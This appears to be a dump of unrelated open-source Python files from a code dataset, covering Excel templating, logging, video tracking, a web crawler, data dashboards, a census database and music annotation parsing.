os.getenv('UNSP_TEKLIF_TEMPLATE_PATH')\n workbook = load_workbook(filepath)\n sheet = workbook.active\n print(\"Workbook is\")\n print(\"Cell F11 is\", sheet['F11'].internal_value)\n assert sheet['F11'].internal_value == \"Ref:\", (\n f\"Correct cell not found! expected {sheet['F11'].internal_value} got {'Ref'}\"\n )\n\n return workbook, sheet\n\n def __init__(self):\n self.workbook, self.sheet = self._load_template()\n # set the counter ...\n self.rowcounter = 0\n self.rowoffset = 17 # the enumeration of items starts at row 17\n\n def update_date(self):\n style = copy(self.sheet[f'H10']._style)\n self.sheet[f'H10'] = '{}'.format(datetime.date.today().strftime(\"%d.%m.%Y\"))\n self.sheet[f'H10']._style = style\n style = copy(self.sheet[f'H11']._style)\n self.sheet[f'H11'] = '{}'.format(datetime.date.today().strftime(\"%d.%m.%Y\"))\n self.sheet[f'H11']._style = style\n\n def insert_item(\n self,\n description,\n partnumber,\n listprice,\n requested_units,\n stock=None,\n status=None,\n weight=None,\n replaced=None\n ):\n\n assert isinstance(listprice, float) or isinstance(listprice, int) or isinstance(listprice, np.float64), (\n \"Listprice is not of type float\", listprice, type(listprice)\n )\n\n rowidx = self.rowcounter + self.rowoffset\n\n # print(\"Row id is\", rowidx)\n\n # Insert a row\n if self.rowcounter > 0:\n self.sheet.insert_rows(rowidx + 1) # Plus 1 because we insert above, not below the roindex\n previous_row = rowidx - 1\n else:\n previous_row = rowidx\n\n # Insert \"sira\"\n style = copy(self.sheet[f'A{previous_row}']._style)\n self.sheet[f'A{rowidx}'] = f'=A{previous_row} + 1' if self.rowcounter > 0 else 1\n self.sheet[f'A{rowidx}']._style = style\n\n # Reference no.\n style = copy(self.sheet[f'C{previous_row}']._style)\n self.sheet[f'C{rowidx}'] = f'=C{previous_row} + 1' if self.rowcounter > 0 else 1\n self.sheet[f'C{rowidx}']._style = style\n\n # Partnumber\n style = copy(self.sheet[f'D{previous_row}']._style)\n self.sheet[f'D{rowidx}'] = partnumber\n self.sheet[f'D{rowidx}']._style = style\n\n # Description\n style = copy(self.sheet[f'E{previous_row}']._style)\n self.sheet[f'E{rowidx}'] = description\n self.sheet[f'E{rowidx}']._style = style\n\n # Listprice\n style = copy(self.sheet[f'I{previous_row}']._style)\n self.sheet[f'I{rowidx}'] = listprice\n self.sheet[f'I{rowidx}']._style = style\n\n # Number Units\n style = copy(self.sheet[f'B{previous_row}']._style)\n self.sheet[f'B{rowidx}'] = requested_units\n self.sheet[f'B{rowidx}']._style = style\n\n # Stock\n if stock is not None:\n style = copy(self.sheet[f'L{previous_row}']._style)\n self.sheet[f'L{rowidx}'] = stock\n self.sheet[f'L{rowidx}']._style = style\n\n # Status\n if status is not None:\n style = copy(self.sheet[f'K{previous_row}']._style)\n self.sheet[f'K{rowidx}'] = status\n self.sheet[f'K{rowidx}']._style = style\n\n # Weight\n if weight is not None:\n style = copy(self.sheet[f'M{previous_row}']._style)\n self.sheet[f'M{rowidx}'] = weight\n self.sheet[f'M{rowidx}']._style = style\n\n # Replaced\n if replaced is not None:\n style = copy(self.sheet[f'N{previous_row}']._style)\n self.sheet[f'N{rowidx}'] = replaced\n self.sheet[f'N{rowidx}']._style = style\n\n # Copy all equations which were not copied yet\n\n style = copy(self.sheet[f'F{previous_row}']._style)\n self.sheet[f'F{rowidx}'] = f'=J{rowidx}'\n self.sheet[f'F{rowidx}']._style = style\n\n style = copy(self.sheet[f'J{previous_row}']._style)\n self.sheet[f'J{rowidx}'] = f'=I{rowidx} * 2.15'\n self.sheet[f'J{rowidx}']._style = style\n\n style = copy(self.sheet[f'H{previous_row}']._style)\n self.sheet[f'H{rowidx}'] = f'=F{rowidx}*B{rowidx}'\n self.sheet[f'H{rowidx}']._style = style\n\n # Copy cell style for \"dead cells\n for deadcol in ['C', 'G']:\n style = copy(self.sheet[f'{deadcol}{previous_row}']._style)\n self.sheet[f'{deadcol}{rowidx}']._style = style\n\n self.sheet[f'H{rowidx + 3}'] = f'=SUM(H{self.rowoffset}: H{rowidx})'\n self.sheet[f'H{rowidx + 4}'] = f'=H{rowidx + 3}*25/100'\n self.sheet[f'H{rowidx + 5}'] = f'=H{rowidx + 3}-H{rowidx + 4}'\n\n # Increase counter by one...\n self.rowcounter += 1\n\n def save_to_disk(self):\n rnd_no = random.randint(1000, 9999)\n self.workbook.save(f\"./test{rnd_no}.xlsx\")\n\n def save_to_disk_from_bytes(self):\n \"\"\"\n Checks if byteencoding makes it unreadable or not\n :return:\n \"\"\"\n rnd_no = random.randint(1000, 9999)\n with NamedTemporaryFile() as tmp:\n with open(f\"./test{rnd_no}.xlsx\", \"wb\") as fp:\n self.workbook.save(tmp.name)\n\n output = BytesIO(tmp.read())\n # Write to tmp file\n fp.write(output.read())\n\n def get_bytestring(self):\n with NamedTemporaryFile() as tmp:\n self.workbook.save(tmp.name)\n output = BytesIO(tmp.read())\n return output.read()\n\nif __name__ == \"__main__\":\n print(\"Looking at the individual items\")\n excel = USExcelTemplate()\n print(\"Inserting example exel\")\n excel.insert_item(\n description=\"Item descr\",\n partnumber=\"Part number\",\n listprice=249\n )\n excel.insert_item(\n description=\"Item descrtoo\",\n partnumber=\"FFF2\",\n listprice=266\n )\n excel.save_to_disk()\n","repo_name":"yenicelik/xtractor","sub_path":"src/resources/union_special_excel.py","file_name":"union_special_excel.py","file_ext":"py","file_size_in_byte":6309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"69856113688","text":"\nimport os\nimport sys\nimport datetime\nimport logging\n\n\nclass LoggerAddons:\n \"\"\"\n Class : LoggerAddons\n \"\"\"\n _log_dir = 'logs'\n _formatter = logging.Formatter(\n '%(asctime)s - %(name)-15s - %(levelname)-8s : %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S'\n )\n _log_date_file_format = datetime.datetime.now().strftime(\"%Y_%m_%d_%H%M%S\")\n\n _percent_step = 5\n\n def __init__(self, parent=None, logger_name=None, logger_level='info', logger_dir=None, raise_error=False):\n \"\"\"\n Main Constructor\n\n \"\"\"\n if not parent:\n self._logger_name = logger_name if logger_name else self.__class__.__name__\n\n self.logger = self._create_logger(\n logger_level,\n f'/{logger_dir}/{self.__class__.__name__}' if logger_dir is not None else None\n )\n self.raise_error = raise_error\n self.init_log_progress()\n else:\n self.logger_name = parent.logger_name\n self.logger = parent.logger\n self.raise_error = parent.raise_error\n self.progress_value = parent.progress_value\n self.step_log_progress = parent.step_log_progress\n\n def _create_logger(self, logger_level, logger_dir):\n \"\"\"\n create a logger\n\n :param logger_level: str\n :param logger_file: str\n :return:\n \"\"\"\n\n levels = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL\n }\n\n\n logger_init = logging.getLogger(self._logger_name)\n logger_init.setLevel(levels[logger_level] if logger_level in levels else logging.DEBUG)\n\n if not logger_init.handlers:\n logger_init.setLevel(levels[logger_level] if logger_level in levels else logging.DEBUG)\n\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(levels[logger_level] if logger_level in levels else logging.DEBUG)\n handler.setFormatter(self._formatter)\n logger_init.addHandler(handler)\n\n if logger_dir is not None:\n log_path = f'{self._log_dir}_{self._log_date_file_format}'\n complete_log_path = f'{log_path}{os.path.dirname(logger_dir)}'\n\n if not os.path.isdir(complete_log_path):\n os.makedirs(complete_log_path)\n\n handler_file = logging.FileHandler(f'{log_path}{logger_dir}.txt')\n handler_file.setLevel(levels[logger_level] if logger_level in levels else logging.DEBUG)\n handler_file.setFormatter(self._formatter)\n logger_init.addHandler(handler_file)\n\n return logger_init\n\n def init_log_progress(self, step_percent=5):\n\n self.progress_value = step_percent\n self.step_log_progress = step_percent\n\n def log_progress(self, percentage, message=\"Progress : %s %%\"):\n\n if percentage == 0.0:\n self.logger.info(message, 0)\n\n elif percentage >= self.progress_value:\n self.logger.info(message, self.progress_value)\n self.progress_value += self.step_log_progress\n\n elif percentage == 100.0:\n self.logger.info(message, self.progress_value)\n self.logger.info(message % self.progress_value)\n\n #########################################\n # Logger methods\n #\n def info(self, message):\n return self.logger.info(f'{message.title()}')\n\n def warning(self, message):\n return self.logger.warning(f'{message.title()}')\n\n def info_title(self, message):\n return self.logger.info(f'-== {message.title()} ==-')\n #\n # Logger methods\n #########################################\n","repo_name":"amauryval/geo_tools","sub_path":"geotools/core/logger_addons.py","file_name":"logger_addons.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6364451907","text":"import cv2\n\n\ndef trackObjects(image, bbox):\n cap = cv2.VideoCapture(0)\n\n tracker = cv2.legacy.TrackerMOSSE_create()\n tracker.init(image, bbox)\n while cap.isOpened():\n timer = cv2.getTickCount()\n ret,frame = cap.read()\n fps = int(cv2.getTickFrequency() / (cv2.getTickCount() - timer))\n if fps > 60:\n fps = 60\n img = cv2.putText(frame, f\"FPS: {fps}\", [0,50], cv2.FONT_HERSHEY_SIMPLEX, 1, [255, 0, 0], 2)\n\n if cv2.waitKey(1) & 0xFF == 27:\n ret = False\n break\n if not ret:\n break \n cv2.imshow(\"Tracking\", img)\n cap.release()\n cv2.destroyAllWindows()\n\n def drawRect(img, bbox):\n cv2.rectangle(img, [bbox[0], bbox[1]] , [bbox[0]+ bbox[2], bbox[1]+ bbox[3]], [255, 0, 0], 1)","repo_name":"mkemalgokce/FindingCorrelationBetweenHumansAndObjects","sub_path":"objectTracking.py","file_name":"objectTracking.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22909506634","text":"import os \r\n\r\ndef pars_summary(line):\r\n\treturn line[9:-10]\r\n\r\ntopic = 'topics2014.xml'\r\n\r\ndef extract(query):\r\n\t# query is a list\r\n\tres = []\r\n\tfor q in query:\r\n\t\tq = q.replace('.','')\r\n\t\tq = q.replace('-',' ')\r\n\t\tq = q.replace(',',' ')\r\n\t\tq = q.replace(\"'\",' ')\r\n\t\tres.append(q)\r\n\treturn res\r\n\r\nwith open(topic) as f:\r\n\tlines = f.readlines()\r\n\tquerys = []\r\n\tfor line in lines:\r\n\t\tline = line.strip()\r\n\t\tif line.startswith(''):\r\n\t\t\tquerys.append(pars_summary(line))\r\n\t\t\t\r\n\r\nprint(len(querys))\r\nquerys = extract(querys)\r\n\r\nquery_head = '''\r\n../../index\r\n1000\r\n'''\r\n\r\n#to do\r\nquery_tail = '''true\r\nmymodel\r\nmethod:linear,collectionLambda:0.2\r\n'''\r\nquery_mid = ''\r\ni = 0\r\nfor q in querys:\r\n\ti+=1\r\n\tquery_mid += ''+ str(i) +'' + q + '\\n' \r\n#\tos.system('''IndriRunQuery.exe query_param.txt -query=\"'''+q+'''\" >>res.txt''')\r\n\r\nwith open('query_parameter.txt','w') as f:\r\n\tf.write(query_head+query_mid+query_tail)","repo_name":"jinluyang/IRprojext","sub_path":"2ndpart/get_query.py","file_name":"get_query.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20977497531","text":"from pysper.commands import flags\nfrom pysper import VERSION\nfrom pysper.search import queryscore as qs\n\n\ndef add_flags(subparsers, name, run_default_func, is_deprecated=False):\n \"\"\"adds the flags so legacy commands can share code\"\"\"\n help_text = (\n \"Tries to summarize queries in the debug \"\n + \"log based on score that attempts to \"\n + \"estimate the relative potential cost \"\n + \"of queries. DSE Search 5.0-6.7\"\n )\n if is_deprecated:\n help_text = help_text + \". DEPRECATED use 'sperf search queryscore' instead\"\n queryscore_parser = subparsers.add_parser(\n name, help=help_text, formatter_class=flags.LineWrapRawTextHelpFormatter\n )\n\n queryscore_parser.add_argument(\n \"-s\",\n \"--scorethreshold\",\n type=int,\n default=1,\n help=\"The score threshold to list a 'bad query'\",\n )\n queryscore_parser.add_argument(\n \"-t\",\n \"--top\",\n type=int,\n default=5,\n help=\"show the top N worst queries by score.\",\n )\n queryscore_parser.add_argument(\n \"-u\",\n \"--uniquereasons\",\n action=\"store_true\",\n help=\"show only queries with a unique score and combination of reasons.\",\n )\n queryscore_parser.add_argument(\n \"-l\",\n \"--log_prefix\",\n default=\"debug.log\",\n help=\"if debug.log in the diag tarball has a different, \"\n + \"name, sperf can still look based on this prefix \"\n + '(default \"debug.log\")',\n )\n flags.files_and_diag(queryscore_parser)\n queryscore_parser.set_defaults(func=run_default_func)\n\n\ndef build(subparsers):\n \"\"\"adds the flags to queryscore\"\"\"\n add_flags(subparsers, \"queryscore\", run)\n\n\ndef run(args):\n \"\"\"launches 'sperf search queryscore'\"\"\"\n run_func(args, \"sperf search queryscore\")\n\n\ndef run_func(args, command_name):\n \"\"\"for function sharing between deprecated and supported\"\"\"\n print(\"%s: %s\\n\" % (command_name, VERSION))\n parsed = qs.parse(args)\n print(qs.generate_report(parsed))\n","repo_name":"datastax-labs/sperf","sub_path":"pysper/commands/search/queryscore.py","file_name":"queryscore.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"31"} +{"seq_id":"72423527767","text":"# Define a procedure, crawl_web(), that takes as input a seed page URL, and\n# outputs a list of all the URLs that can be reached by following links starting\n# from the seed page.\n\n# opens an url into an utf-8 decoded text\ndef get_page(url):\n import urllib.request\n try:\n with urllib.request.urlopen(url) as response:\n # decodes html to utf-8, otherwise it returns bytecode, not string\n html = response.read().decode('utf-8')\n return html\n except:\n # print this if no url's are found later on when called\n print('none found')\n return ''\n\n# gets every 1]\n","repo_name":"konstanzer/data-analysis-exercises","sub_path":"anomaly-detection-exercises/student-logs-project/bollinger_bands.py","file_name":"bollinger_bands.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13818718884","text":"\nimport pandas as pd\nfrom dotenv import load_dotenv\n\n\nfrom client import ShimokuClient\nfrom recycler.recycler_reporter import RecyclerReporter\n\n\ndef run():\n df1 = pd.read_csv('recycler/sales.csv')\n df2 = pd.read_csv('recycler/users.csv')\n df = pd.merge(df1, df2, on='client_id', how='inner', suffixes=('', '_user'))\n reporter = RecyclerReporter(df)\n s = ShimokuClient()\n s.create_dashboard('Recycler')\n menu_path = 'recycler'\n s.delete_app(menu_path)\n order = 0\n\n s.client.plt.html(\n html=s.client.html_components.beautiful_indicator(\n title=\"Recycler main dashboard\",\n href=\"https://shimoku.io/f4fd08a3-bea2-4b77-90a3-de2b52e8ab74/usuarios-activos-mensuales\",\n background_url=\"https://images.unsplash.com/photo-1628771065518-0d82f1938462\",\n ),\n menu_path=menu_path,\n order=order,\n rows_size=1,\n cols_size=12,\n )\n order += 1\n\n data = [\n {\n \"variant\": \"outlined\",\n \"description\": pd.to_datetime('today').month_name(),\n \"title\": \"Productos vendidos en el mes\",\n \"align\": \"left\",\n \"value\": reporter.sold_products_by_month().tail(1).values[0][1],\n },\n {\n \"color\": \"success\" if reporter.recycled_products_percentage_by_month() > 50 else \"caution\",\n \"variant\": \"contained\",\n \"description\": pd.to_datetime('today').month_name(),\n \"title\": \"Productos reciclados\",\n \"align\": \"left\",\n \"value\": reporter.recycled_products_by_month().tail(1).values[0][1],\n },\n {\n \"color\": \"success\" if reporter.recycled_products_percentage_by_month() > 50 else \"caution\",\n \"variant\": \"contained\",\n \"description\": pd.to_datetime('today').month_name(),\n \"title\": \"Porcentaje de productos reciclados\",\n \"align\": \"left\",\n \"value\": f\"{reporter.recycled_products_percentage_by_month()}%\",\n },\n ]\n s.client.plt.indicator(\n data=data,\n menu_path=menu_path,\n order=order, rows_size=1, cols_size=3,\n value='value',\n header='title',\n footer='description',\n color='color',\n variant='variant',\n vertical=True\n )\n order += 3\n\n data = reporter.sales_with_problems()\n s.client.plt.table(\n data=data[['client_id','ticket_id']].tail(5),\n menu_path=menu_path,\n order=order,\n cols_size=4,\n rows_size=2,\n title='Lista ventas con incidencias en este mes',\n )\n order += 1\n\n s.client.plt.radar(\n data=reporter.gender_comparative(),\n x='gender', y=reporter.gender_comparative().drop('gender', axis=1).columns.tolist(),\n menu_path=menu_path,\n order=order, rows_size=3, cols_size=5,\n title='Comparativa entre géneros',\n )\n order += 1\n\n s.client.plt.update_tabs_group_metadata(\n menu_path=menu_path,\n group_name='evolution',\n order=order,\n sticky=False,\n just_labels=False,\n rows_size=0,\n )\n order += 1\n\n s.client.plt.line(\n data=reporter.month_comparative(),\n menu_path=menu_path, order=order,\n x='mes', y=['productos_vendidos', 'recycled_qt', 'anomalías', 'non_recycled_qt'],\n rows_size=2, cols_size=12,\n title='Usuarios únicos mensuales',\n tabs_index=(\"evolution\", \"Crecimiento mensual\")\n )\n order += 1\n\n s.client.plt.stacked_barchart(\n data=reporter.month_sells_comparative_by_brand().tail(12).reset_index(drop=True),\n menu_path=menu_path,\n order=order,\n x=\"mes\",\n x_axis_name='Mes de la compra',\n rows_size=3, cols_size=12,\n subtitle='Comparativa de ventas por marca',\n tabs_index=(\"evolution\", \"Ventas por marca\")\n )\n order += 1\n\n s.client.plt.stacked_barchart(\n data=reporter.month_sells_comparative_by_platform().tail(12),\n menu_path=menu_path,\n order=order,\n x=\"mes\",\n x_axis_name='Mes de la compra',\n rows_size=3, cols_size=12,\n subtitle='Comparativa de ventas por marca',\n tabs_index=(\"evolution\", \"Ventas por plataforma\")\n )\n order += 1\n\n\n html = (\n \"

Comparativa de ventas del ultimo mes por marca

\"\n )\n s.client.plt.html(\n html=html,\n menu_path=menu_path,\n order=order, rows_size=1, cols_size=6,\n )\n order += 1\n\n html = (\n \"

Comparativa de ventas del ultimo mes por plataforma

\"\n )\n s.client.plt.html(\n html=html,\n menu_path=menu_path,\n order=order, rows_size=1, cols_size=6,\n )\n order += 1\n\n s.client.plt.rose(\n data=reporter.month_sells_comparative_by_brand().tail(1).drop('mes', axis=1).melt(var_name='name', value_name='value'),\n menu_path=menu_path,\n order=order,\n cols_size=6,\n rows_size=2,\n )\n order += 1\n\n s.client.plt.doughnut(\n data=reporter.month_sells_comparative_by_platform().tail(1).drop('mes', axis=1).melt(var_name='name', value_name='value'),\n menu_path=menu_path,\n order=order,\n cols_size=6,\n rows_size=2\n )\n order += 1\n\n html = (\n \"

Comparativa de reciclajes del ultimo mes por marca

\"\n )\n s.client.plt.html(\n html=html,\n menu_path=menu_path,\n order=order, rows_size=1, cols_size=6,\n )\n order += 1\n\n html = (\n \"

Comparativa de reciclajes del ultimo mes por plataforma

\"\n )\n s.client.plt.html(\n html=html,\n menu_path=menu_path,\n order=order, rows_size=1, cols_size=6,\n )\n order += 1\n\n s.client.plt.rose(\n data=reporter.month_recycle_comparative_by_brand().tail(1).drop('mes', axis=1).melt(var_name='name', value_name='value'),\n menu_path=menu_path,\n order=order,\n cols_size=6,\n rows_size=2\n )\n order += 1\n\n s.client.plt.doughnut(\n data=reporter.month_recycle_comparative_by_platform().tail(1).drop('mes', axis=1).melt(var_name='name', value_name='value'),\n menu_path=menu_path,\n order=order,\n cols_size=6,\n rows_size=2\n )\n order += 1\n\n\n html = (\n \"

Lista de ventas con incidences

\"\n )\n s.client.plt.html(\n html=html,\n menu_path=menu_path,\n order=order, rows_size=1, cols_size=12,\n )\n order += 1\n s.client.plt.table(\n data=reporter.sales_with_problems()[['client_id', 'ticket_id', 'created_at', 'cantidad', 'points_used', 'recycled_platform']],\n menu_path=menu_path,\n order=order,\n cols_size=12,\n rows_size=2,\n )\n return s\n\n\nif __name__ == '__main__':\n load_dotenv()\n s = run()\n\n s.client.activate_async_execution()\n s.client.run()\n","repo_name":"VPradoB/shimoku_templates","sub_path":"recycler/dashboard_v1.py","file_name":"dashboard_v1.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35186128809","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- \nfrom selenium import webdriver\nimport os, platform, sys\nPARENT_PATH = os.path.abspath(\"..\")\nif PARENT_PATH not in sys.path:\n sys.path.insert(0, PARENT_PATH)\n\nfrom features.utils.util import generate_report\n\ndef before_scenario(context, scenario):\n language = context.config.userdata['language']\n if (language == \"pt\"):\n browser_language = {'intl.accept_languages': 'pt,pt_BR'}\n elif (language == \"es\"):\n browser_language = {'intl.accept_languages': 'es,es_LA'}\n else:\n browser_language = {'intl.accept_languages': 'en,en_US'}\n options = webdriver.ChromeOptions()\n options.add_experimental_option('prefs', browser_language)\n if platform.system() == 'Darwin':\n context.driver = webdriver.Chrome(executable_path=os.path.dirname(os.path.realpath(__file__)) + \"/resources/chromedriver\", chrome_options=options)\n elif platform.system() == 'Windows':\n context.driver = webdriver.Chrome(executable_path=os.path.dirname(os.path.realpath(__file__)) + \"/resources/chromedriver.exe\", chrome_options=options)\n context.driver.implicitly_wait(15)\n context.driver.delete_all_cookies()\n context.driver.maximize_window()\n\ndef after_scenario(context, scenario):\n context.driver.quit()","repo_name":"mauriciochaves/minicursopythonnordeste","sub_path":"frontend/features/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"37457451738","text":"# Programmed by Kwak, B @ 12/02/2014\n# Histogram Plot and Analysis\n\n\nimport numpy as np\nimport pylab as P\nimport csv\n\nf = open('C:/00 - MyWork/SJSU/CMPE 239/Project/Movie/ftp.sunet.se/00 - progress/new_data/transformed/topActorDirectorProd.csv')\n#j = open('C:/00 - MyWork/SJSU/CMPE 239/Project/Movie/ftp.sunet.se/00 - progress/new_data/transformed/topActorDirectorProd_v1.csv','wb')\n\ncsv_f = csv.reader(f)\nwriter = csv.writer(j)\ncnt1 = 0\ntf_row = 12 # when counting from 0\n#writer.writerow('Title,Genre,Actors,Director,Award,Production,imdbRating,imdbVotes,Released,tomatoUserReviews,tomatoUserRating,tomatoUserMeter,BoxOffice,Rated,Metascore,Wikistats')\n#j.write('Title,Genre,Actors,Director,Award,Production,imdbRating,imdbVotes,Released,tomatoUserReviews,tomatoUserRating,tomatoUserMeter,BoxOffice,Rated,Metascore,Wikistats\\n')\n\nboxOff = []\nfor row in csv_f: \n\tcnt1 += 1\n\n\tif cnt1 > 1:\n\t\tboxOff.append(float(row[tf_row]))\n\n\n# the histogram of the data with histtype='step'\nn, bins, patches = P.hist(boxOff, 30, normed=0, histtype='stepfilled')\nP.setp(patches, 'facecolor', 'g', 'alpha', 0.75)\n\n#l = P.plot(bins, y, 'k--', linewidth=1.5)\n\nP.figure()\nn, bins, patches = P.hist(boxOff, 30, normed=1, histtype='step', cumulative=True)\n\n#hist, bin_edges = np.histogram(boxOff, 10, None, False, None, False)\n\n\nf.close()\n#j.close()\n","repo_name":"AnnieMT/Futuristico","sub_path":"Python Code for Histogram & Seasonality/BoxOffice_Histogram_v1_0.py","file_name":"BoxOffice_Histogram_v1_0.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15176222091","text":"import csv\r\nimport os\r\nimport sqlite3\r\n\r\n\r\ndef execute_query(query, database='Django/final/cbsa.db'):\r\n '''\r\n Executes a given query in the database (default='Django/final/cbsa.db').\r\n Modifies database.\r\n '''\r\n\r\n db = sqlite3.connect(database)\r\n c = db.cursor()\r\n c.execute(query)\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef import_csv_to_table(csv_filename, insert_query, database='Django/final/cbsa.db'):\r\n '''\r\n Imports data from csv file into its corresponding table in the database\r\n (default='Django/final/cbsa.db'). Modifies database.\r\n '''\r\n db = sqlite3.connect(database)\r\n c = db.cursor()\r\n\r\n f = open(csv_filename)\r\n csv_reader = csv.reader(f, delimiter=',',\\\r\n quotechar='\"')\r\n for row in csv_reader:\r\n db.execute(insert_query, row)\r\n f.close()\r\n\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef make_table(create_table_query, insert_query, csv_filename,\r\n database='Django/final/cbsa.db'):\r\n '''\r\n Initializes a SQL table in the given database (default='Django/final/cbsa.db') and\r\n imports data from the specified CSV file into the table. Modifies database.\r\n '''\r\n execute_query(create_table_query, database)\r\n import_csv_to_table(csv_filename, insert_query, database)\r\n\r\n\r\n### Add individual tables to cbsa.db database ### \r\n\r\ndef add_cbsa_zips(csv_filename='data/cbsa_zips.csv', database='Django/final/cbsa.db'):\r\n '''\r\n Generates a table for cbsa_zips in the cbsa.db database. Modifies database.\r\n '''\r\n create_table_query = \"CREATE TABLE cbsa_zips (cbsa_name VARCHAR(30), \\\r\n zip_code VARCHAR(5), state VARCHAR(2), \\\r\n cbsa_code integer);\"\r\n insert_query = \"INSERT INTO cbsa_zips (cbsa_name, zip_code, state, \\\r\n cbsa_code) VALUES (?, ?, ?, ?);\"\r\n make_table(create_table_query, insert_query, csv_filename, database)\r\n\r\n\r\ndef add_census(csv_filename='data/census.csv', database='Django/final/cbsa.db'):\r\n '''\r\n Generates a table for census in the cbsa.db database. Modifies database.\r\n '''\r\n create_table_query = \"CREATE TABLE census (total_pop VARCHAR(10), \\\r\n male VARCHAR(10), \\\r\n female VARCHAR(10), \\\r\n median_age VARCHAR(10), \\\r\n white_alone VARCHAR(10), \\\r\n black_alone VARCHAR(10), \\\r\n american_indian_alone VARCHAR(10), \\\r\n asian_alone VARCHAR(10), \\\r\n pacific_islander_alone VARCHAR(10), \\\r\n other_race_alone VARCHAR(10), \\\r\n two_or_more_races VARCHAR(10), \\\r\n hispanic_or_latino VARCHAR(10), \\\r\n total_households VARCHAR(10), \\\r\n family_households VARCHAR(10), \\\r\n total_25_years_plus VARCHAR(10), \\\r\n associates VARCHAR(10), \\\r\n bachelors VARCHAR(10), \\\r\n masters VARCHAR(10), \\\r\n doctorate VARCHAR(10), \\\r\n median_household_income VARCHAR(10), \\\r\n civilian_labor_force VARCHAR(10), \\\r\n unemployed VARCHAR(10), \\\r\n median_gross_rent VARCHAR(10), \\\r\n education_level VARCHAR(4), \\\r\n income_level VARCHAR(4), \\\r\n city_size VARCHAR(4), \\\r\n family_level VARCHAR(4), \\\r\n cbsa_code integer);\"\r\n insert_query = \"INSERT INTO census (total_pop, male, female, median_age, \\\r\n white_alone, black_alone, american_indian_alone, \\\r\n asian_alone, pacific_islander_alone, other_race_alone, \\\r\n two_or_more_races, hispanic_or_latino, \\\r\n total_households, family_households, \\\r\n total_25_years_plus, associates, bachelors, \\\r\n masters, doctorate, median_household_income, \\\r\n civilian_labor_force, unemployed, median_gross_rent, \\\r\n cbsa_code, education_level, income_level, \\\r\n city_size, family_level) \\\r\n VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, \\\r\n ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);\"\r\n make_table(create_table_query, insert_query, csv_filename, database)\r\n\r\n\r\ndef add_percentages(database='Django/final/cbsa.db'):\r\n '''\r\n Generates a table for percentages in the cbsa.db database. Modifies database.\r\n '''\r\n create_table_query = \"CREATE TABLE percentages AS \\\r\n SELECT cbsa_code, \\\r\n male/total_pop AS 'male', \\\r\n female/total_pop AS 'female', \\\r\n white_alone/total_pop AS 'white', \\\r\n black_alone/total_pop AS 'black', \\\r\n american_indian_alone/total_pop AS 'american_indian', \\\r\n asian_alone/total_pop AS 'asian', \\\r\n pacific_islander_alone/total_pop AS 'pacific_islander', \\\r\n other_race_alone/total_pop AS 'other_race', \\\r\n two_or_more_races/total_pop AS 'two_or_more_races', \\\r\n hispanic_or_latino/total_pop AS 'hispanic_or_latino', \\\r\n family_households/total_households AS 'family_households', \\\r\n (associates + bachelors + masters + doctorate)/total_25_years_plus \\\r\n AS 'degree_holders', \\\r\n unemployed/civilian_labor_force AS 'unemployment' \\\r\n FROM census;\"\r\n execute_query(create_table_query, database)\r\n","repo_name":"shwotherspoon/census-data","sub_path":"create_database.py","file_name":"create_database.py","file_ext":"py","file_size_in_byte":5815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43333404437","text":"import os\nimport sys\nimport xml.dom.minidom\nimport shutil\nfrom globals import *\nimport numpy as np\n\n\ndef get_onsets(xml_annotation_file):\n \"\"\"\n Reads an xml annotation file (as provided by the SMT Drums dataset)\n \"\"\"\n onsets = {\n 'HH': np.array([], dtype=np.int32),\n 'KD': np.array([], dtype=np.int32),\n 'SD': np.array([], dtype=np.int32)\n }\n\n doc = xml.dom.minidom.parse(xml_annotation_file)\n events = doc.getElementsByTagName('event')\n\n for event in events:\n sec = event.getElementsByTagName('onsetSec')[0].firstChild.data # extract the annotated time\n instrument = event.getElementsByTagName('instrument')[0].firstChild.data # extract the instrument\n\n try:\n onsets[instrument] = np.append(onsets[instrument], float(sec))\n except KeyError as e:\n sys.stderr.write('Error reading xml file: unkown instrument '' + instrument + ''.\\n')\n raise type(e)(e.message + ', unkown instrument '' + instrument + ''.')\n\n return onsets['HH'], onsets['KD'], onsets['SD']\n\n\nif __name__ == '__main__':\n # convert xml -> txt file for SMT\n smt_unzip = sys.argv[1]\n\n print('Processing annotations...')\n smt_drums_folder = os.path.join('../data_evals', 'SMT_DRUMS')\n os.makedirs(os.path.join(smt_drums_folder, 'annotations'), exist_ok=True)\n\n xml_files = os.listdir(os.path.join(smt_unzip, 'annotation_xml'))\n xml_files = [f for f in xml_files if f.endswith('xml')]\n for fn in xml_files:\n path = os.path.join(smt_drums_folder, 'annotation_xml', fn)\n onsets = {\n 'HH': np.array([], dtype=np.int32),\n 'KD': np.array([], dtype=np.int32),\n 'SD': 